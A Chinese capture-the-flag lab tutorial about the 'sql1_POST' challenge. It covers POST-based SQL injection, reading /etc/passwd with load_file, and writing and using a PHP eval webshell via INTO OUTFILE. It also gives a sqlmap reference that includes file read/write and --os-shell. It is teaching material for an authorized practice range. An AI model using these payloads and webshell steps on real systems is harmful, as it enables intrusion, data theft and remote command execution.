靶场SQL注入篇(中):以sql1_POST实战,讲POST注入、getshell与sqlmap"

admin 2026-10-18 04:49:13 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

靶场SQL注入篇(中):以 sql1\_POST 实战,讲 POST 注入、getshell 与 sqlmap

原创

网安布道师
网安布道师

六边形攻防安全

2026年7月21日 08:32
河北

在小说阅读器读本章

去阅读

六边形攻防靶场 · Web → SQLi 系列 · 共三篇

中篇:以 sql1\_POST 实战,讲 POST 注入、getshell 与 sqlmap

六边形攻防靶场 Web → SQLi 系列 · 共三篇   中篇:以 sql1_POST 实战,讲 POST 注入、getshell,并系统补上 sqlmap 简介、常用参数、六种注入技巧。

上篇在 GET 参数里学会了判断注入、Union / 报错 / 盲注。真实业务里,登录框、搜索框、JSON 接口更多走POST——注入原理不变,只是参数不再出现在 URL 里。

本篇用同一类靶场的 POST 版,目标三件事:

  • POST 注入

怎么打
* SQL 注入 getshell

(load_file /INTO OUTFILE)
* sqlmap

:是什么、常用参数、六种技巧(BEUSTQ)、在本题上跑通

环境:六边形攻防靶场 → 题库 → Web → SQLi →sql1_POST。仅授权练习。

系列进度

篇目 题目 主线
上 sql0_get 原理与主战法(手工)
中(本文) sql1_POST POST + getshell +sqlmap 主文档
下 sqli2 /sqli3 tamper、盲注进阶

1. 环境一眼看懂

平台路径:题库 → Web → SQLi →sql1_POST

难度:easy · 分值 22

页面标题仍是「简单的 sql 注入」,但表单是:

<form action=\"\" method=\"POST\"> <input name=\"id\" ... /> <input type=\"submit\" value=\"查询\" /> </form>

后端逻辑与上篇几乎相同:

$uid = $_POST['id']; // 注意:POST,不是 GET $sql = \"SELECT * FROM userinfo WHERE `Id` = '$uid'\";
对比 sql0_get sql1_POST
参数位置 URL?id= Bodyid=
注入手法 相同 相同
手工工具 浏览器改 URL 即可 HackBar / Burp / curl
自动化 sqlmap -u '...?id=1' sqlmap --data=\"id=1\" 或-r req.txt

图:method=POST,id=1 查出 zhangsan。

2. POST 注入怎么打(手工)

浏览器地址栏改参数无效。任选其一:

A. curl

curl -X POST --data-urlencode \"id=1' and '1'='1\" http://TARGET/ curl -X POST --data-urlencode \"id=-1' union select 1,2,3,4#\" http://TARGET/

B. Burp / 浏览器插件

抓包后改 POST body 里的id=。

C. 浏览器开发者工具

临时把表单method 改回 GET 仅便于调试,正式写 WP 仍按 POST。

列数仍是 4;Union 取 Flag:

id=-1' union select 1,(select group_concat(flag) from flag),3,4#

图:库内 Flag 可直接 Union 出(实例每次可能变化)。

上篇的报错 / 盲注 Payload原样可用,只换提交方式。本篇重点转向「出库之后」:读写文件、拿 shell。

3. SQL 注入 getshell:先想清楚前提

「注进去」不等于「一定能 getshell」。MySQL 写 Webshell 依赖:

条件 本题情况 怎么查
当前用户有FILE 权限 root@localhost ,通常有 user() /select file_priv from mysql.user...
secure_file_priv 放行 空字符串 ≈ 不限制路径(老版本常见) @@secure_file_priv
知道 Web 物理路径 /var/www/html 报错、配置、@@basedir 旁证、猜路径
目录可写 可写 试INTO OUTFILE
能通过 Web 访问写出的文件 Apache 解析 PHP 浏览器访问shell.php

先摸底:

id=-1' union select 1,@@secure_file_priv,@@datadir,user()# id=-1' union select 1,@@basedir,version(),4#

3.1 读文件:load_file

id=-1' union select 1,load_file('/etc/passwd'),3,4#

图:能读到passwd,说明 FILE + 路径读取通路可用。

也可尝试load_file('/var/www/html/index.php') 回源码、确认 Web 根目录。

3.2 写文件:INTO OUTFILE

把一句话木马写进站点目录:

id=-1' union select 1,'<?php @eval($_POST[cmd]);?>',3,4 into outfile '/var/www/html/shell.php'#

注意:

  • INTO OUTFILE不能覆盖已存在文件;文件名被占就换s2.php 等。
  • 多列UNION SELECT 写入时,文件里可能夹带1、制表符、3、4 等噪音;PHP 仍会执行中间的<?php ... ?>。
  • 需要更干净文件时可用INTO DUMPFILE(单行二进制友好,语法列数要匹配好)。

3.3 访问 Webshell

curl -X POST -d \"cmd=system('id');\" http://TARGET/shell.php curl -X POST -d \"cmd=system('env');\" http://TARGET/shell.php curl -X POST -d \"cmd=system('ls -la /var/www/html');\" http://TARGET/shell.php

图:system('env') 读到FLAG=flag{...}——容器题常见:Flag 在环境变量。

链路总结:

POST 注入 → Union 确认权限/路径 → OUTFILE 写马 → HTTP 访问马 → 命令执行

库里直接 Union 也能出 Flag 时,getshell 不是唯一路径;但它是权限升级、落持久化、横向时的关键能力,CTF / 渗透都要会。

4. sqlmap 是什么

sqlmap 是开源的SQL 注入自动化工具:给定一个请求,它会探测注入点、识别数据库类型,再按需枚举库表、导出数据、读写文件,甚至在条件允许时拿 OS 命令执行。

它擅长 你仍要会手工的原因
盲注逐字节、批量拖库 特殊闭合 / 编码 / WAF 要自己先判断
多技术自动切换 理解回显才能选对--technique /--string
文件读写、部分 getshell 权限与路径仍靠原理排查

安装:Kali 自带;其他环境可用官方仓库或包管理器。

本系列对 sqlmap 的安排:

篇 内容
上 手工原理;对应技巧字母 U/E/B/T
中(本节) 简介、常用参数、六种技巧、POST 实战
下 --tamper 、盲注--prefix/--suffix、--string

5. 六种注入技巧(--technique=BEUSTQ)

sqlmap 用六个字母表示技术,可用--technique限定子集(默认几乎全开):

字母 名称 依赖什么 上篇手工对应 速度(通常)
B Boolean-based blind 页面真/假差异 布尔盲注 中
E Error-based 错误信息回显 updatexml 等 快
U Union query 可联合且有回显位 UNION SELECT 最快
S Stacked queries 允许多语句; 堆叠(本题少见) 视场景
T Time-based blind 响应时延 sleep /if 慢
Q Inline queries 可嵌套子查询形态 较少单独手写 视场景

记忆口诀:BEUSTQ = 布尔、报错、联合、堆叠、时间、内联。

选用建议:

有回显、列数可控 → 优先 U(可 --technique=U) 只有报错串 → E 只有真假页 / 关键词 → B(可配 --string / --not-string) 什么内容差都没有 → T(可调 --time-sec) 能分号多语句 → S(常配合写文件、xp_cmdshell 等)

堆叠(S)与内联(Q)在本系列靶场中不总是可用;知道字母含义即可,下篇盲注会重点用B/T。

6. 常用参数速查

6.1 目标与参数

参数 含义
-u URL 目标地址(GET 参数可直接写在 URL)
--data=\"a=1&b=2\" POST 体
-r request.txt 从 Burp 保存的原始 HTTP 请求加载(复杂头/Cookie 首选)
-p id 只测指定参数
--method=POST 强制方法(一般有--data 即可)
--cookie=\"...\" Cookie 注入时用
--headers /--user-agent 自定义头

6.2 识别与性能

参数 含义
--batch 非交互,全部默认「是」
--dbms=mysql 已知库类型,少做指纹探测
--technique=U 只测联合(可组合如BEU)
--level 1–5 测试深度(边界、头、UA 等)
--risk 1–3 风险(含 OR 注入等更猛载荷)
--threads=N 并发(时间盲慎用过大)
--time-sec=N 时间盲延迟秒数
--string /--not-string 布尔真/假页面特征串
--prefix /--suffix 自定义注入前缀/后缀(闭合难时)
--tamper=... 载荷变形脚本(下篇 Base64)
--flush-session 丢掉该目标缓存会话

6.3 取数与利用

参数 含义
--dbs 列所有库
-D db --tables 列表
-T tbl --columns 列字段
-T tbl --dump 导出表数据
--dump-all 尽量导出全部(慎用)
--sql-query=\"...\" 执行自定义 SQL(在可利用通道上)
--file-read=路径 读服务器文件
--file-write +--file-dest 写文件
--os-cmd=\"id\" 尝试执行一条系统命令
--os-shell 交互式 OS shell(条件苛刻)
--current-user /--current-db /--is-dba 环境信息

拖库记忆链:

--dbs → -D 库 --tables → -T 表 --columns → -T 表 --dump

7. 在sql1_POST 上跑 sqlmap

7.1 把 POST 交给它

方式一:--data(本题推荐)

sqlmap -u \"http://TARGET/\" --data=\"id=1\" -p id --batch --dbs

方式二:-r 请求文件

POST / HTTP/1.1 Host: TARGET Content-Type: application/x-www-form-urlencoded id=1
sqlmap -r post.txt -p id --batch --dbs

7.2 识别 + 列库

sqlmap -u \"http://TARGET/\" --data=\"id=1\" -p id --batch --dbms=mysql --dbs

实机类似:

Parameter: id (POST) Type: time-based blind Type: UNION query (4 columns) available databases: information_schema, mysql, sql_test, test

图:同一参数可命中多种 technique;有 U 时后续导出通常走 Union。

7.3 导出 Flag

sqlmap -u \"http://TARGET/\" --data=\"id=1\" -p id --batch --dbms=mysql \\ -D sql_test --tables sqlmap -u \"http://TARGET/\" --data=\"id=1\" -p id --batch --dbms=mysql \\ -D sql_test -T flag --dump

7.4 读文件 / 写文件 / 命令执行

sqlmap -u \"http://TARGET/\" --data=\"id=1\" -p id --batch --dbms=mysql \\ --file-read=\"/etc/passwd\" sqlmap -u \"http://TARGET/\" --data=\"id=1\" -p id --batch --dbms=mysql \\ --file-write=\"./w.php\" --file-dest=\"/var/www/html/w.php\" sqlmap -u \"http://TARGET/\" --data=\"id=1\" -p id --batch --dbms=mysql \\ --os-cmd=\"id; env | grep -i flag\"

实机回显示例:

uid=48(apache) gid=48(apache) groups=48(apache) FLAG=flag{3af8ac33f7b2d13c403d7ebc7c2b36b6}

交互 shell:

sqlmap -u \"http://TARGET/\" --data=\"id=1\" -p id --dbms=mysql --os-shell

7.5 小技巧

场景 建议
会话错乱 --flush-session
明确有回显 先--technique=U 加速
布尔难判 --string=\"特征\" (下篇登录口)
只要确认能注 --batch --dbs 即可
别一上来 --os-shell (噪声大、条件多)

8. 本题速通清单

目的 做法
手工判断 curl -X POST -d \"id=1' and '1'='1\" URL
手工 Flag id=-1' union select 1,(select flag from flag),3,4#
读文件 ... union select 1,load_file('/etc/passwd'),3,4#
写马 ... into outfile '/var/www/html/shell.php'#
执行 POST /shell.php body:cmd=system('env');
sqlmap 拖库 --data=\"id=1\" -D sql_test -T flag --dump
sqlmap 命令 --os-cmd=\"env\" 或--os-shell

Flag 位置提示:库表sql_test.flag 与环境变量FLAG 均可能出现(以实机为准)。

小结

  • POST 与 GET

:同一类拼接,改 body;Burp /--data /-r 是标配。
* getshell

:load_file +INTO OUTFILE,卡FILE / secure\_file\_priv / Web 路径。
* sqlmap

:工具负责自动化;BEUSTQ 六种技巧对应上篇手工通道;参数表够应付 80% 场景。
* 有回显优先手工 Union;sqlmap 擅长盲注、批量、文件利用。

下篇:sqli2_base64_bypass(--tamper)、sqli3_blind(登录口盲注 + 脚本 + sqlmap 进阶)。

入口:https://hexlab.fun/ → 题库 → Web → SQLi →sql1_POST

*靶场注册:公众号回复【靶场邀请码】获取邀请码即可进行注册*

建议:先自己手工测试,再对照文章;sqlmap 参数可当速查表收藏。


    靶场SQL注入篇(中):以sql1_POST实战,讲POST注入、getshell与sqlmap" 网络安全文章

    靶场SQL注入篇(中):以sql1_POST实战,讲POST注入、getshell与sqlmap"

    本文以六边形攻防靶场sql1_POST为例,讲解POST注入、SQL注入getshell及sqlmap自动化工具。核心要点包括:POST注入参数在请求体中,需用curl或Burp等工具提交;getshell依赖FILE权限、secure_file_priv放行及Web路径可写等条件,可通过load_file读文件、INTOOUTFILE写马实现;sqlmap支持六种注入技巧(BEUSTQ),常用参数如–data、-r、–technique等。可操作建议:优先使用sqlmap的–data参数进行POST注入
    CVE-2026-49952|Discuz!身份认证绕过漏洞可导致RCE(POC)" 网络安全文章

    CVE-2026-49952|Discuz!身份认证绕过漏洞可导致RCE(POC)"

    CVE-2026-49952是Discuz!X5.0中一个严重认证绕过漏洞(CVSS9.1),根因是UC_KEY与全局authkey共享同一密钥,导致密码学隔离失效。攻击者可通过登录接口将logging_ctl::logging\\_more()作为加密预言机获取合法令牌,绕过dbbak.php授权校验,再串联竞态条件和LFI实现无需认证的远程代码执行。该漏洞影响20260320至20260501版本,建议立即参考官方修复提交进行升级。
    HolmesGPT实战:让AI把告警、日志和指标串成故障线索" 网络安全文章

    HolmesGPT实战:让AI把告警、日志和指标串成故障线索"

    HolmesGPT是一个开源的SREAgent,用于调查生产事故并辅助定位根因。它通过连接Kubernetes、Prometheus、日志系统等数据源,将告警、日志、指标和变更信息整合到一次调查中,帮助运维人员快速获取证据和排查线索。文章强调先让工具以只读方式收集证据,再人工验证,避免直接依赖AI结论。建议从非核心集群开始试点,逐步扩展数据源,确保安全边界。
    评论:0   参与:  0